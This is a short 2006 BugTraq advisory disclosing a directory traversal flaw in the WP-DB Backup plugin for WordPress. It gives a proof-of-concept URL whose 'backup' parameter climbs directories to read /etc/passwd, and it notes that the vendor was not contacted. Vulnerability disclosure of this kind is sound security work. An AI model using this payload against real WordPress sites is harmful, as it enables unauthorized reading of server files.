BugTraq
Wordpress WP-DB Backup Plugin Directory Traversal Vulnerability Aug 14 2006 08:36AM
ss_team (ssteam pl gmail com)
Hi all,

Software: WP-DB Backup Plugin for Wordpress

Homepage: http://www.skippy.net/blog/category/wordpress/plugins/wp-db-backup/

Description:
WP-DB Backup is vulnerable to directory traversal attack.
You must have administrator rights in the wordpress blog to exploit
this vulnerability.

PoC:
http://path-to-wordpress/wp-admin/edit.php?page=wp-db-backup.php&backup=
../../../../../etc/passwd

Credits:
marc & shb from ssteam are credited with discoverying this vulnerability.

Vendor:
not contacted.

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